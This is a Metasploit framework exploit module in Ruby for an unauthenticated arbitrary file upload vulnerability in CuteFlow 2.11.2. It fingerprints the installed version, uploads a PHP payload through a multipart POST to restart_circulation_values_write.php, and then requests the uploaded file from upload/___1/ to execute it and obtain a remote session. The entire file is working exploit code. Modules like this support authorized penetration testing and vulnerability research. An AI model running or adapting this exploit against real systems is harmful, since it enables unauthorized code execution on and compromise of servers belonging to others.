##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability in CuteFlow version 2.11.2 or prior.
        This application has an upload feature that allows an unauthenticated
        user to upload arbitrary files to the 'upload/___1/' directory
        and then execute it.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
        ],
      'References'     =>
        [
          ['URL', 'http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/'],
          ['OSVDB', '84829'],
          #['EDB',   ''],
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jul 27 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/cuteflow_v.2.11.2/'])
      ], self.class)
  end

  def check

    base  = normalize_uri(target_uri.path)
    base << '/' if base[-1, 1] != '/'
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => base
    })

    if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/
      return Exploit::CheckCode::Appears
    elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end

  end

  def upload(base, fname, file)

    # construct post data
    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
    data_post  = "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"attachment1\"; filename=\"#{fname}\"\r\n"
    data_post << "Content-Type: text/php\r\n"
    data_post << "\r\n"
    data_post << file
    data_post << "\r\n"
    data_post << "--#{boundary}\r\n"

    # upload
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(base, "pages/restart_circulation_values_write.php"),
      'ctype'   => "multipart/form-data; boundary=#{boundary}",
      'data'    => data_post,
    })

    return res
  end

  def exploit
    base  = normalize_uri(target_uri.path)
    base << '/' if base[-1, 1] != '/'

    # upload PHP payload to upload/___1/
    print_status("Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
    fname = rand_text_alphanumeric(rand(10)+6) + '.php'
    php   = %Q|<?php #{payload.encoded} ?>|
    res   = upload(base, fname, php)
    if res.nil?
      print_error("Uploading PHP payload failed")
      return
    end

    # retrieve and execute PHP payload
    print_status("Retrieving file: #{fname}")
    send_request_raw({
      'method' => 'GET',
      'uri'    => normalize_uri(base, "upload/___1/#{fname}")
    })

    handler
  end
end
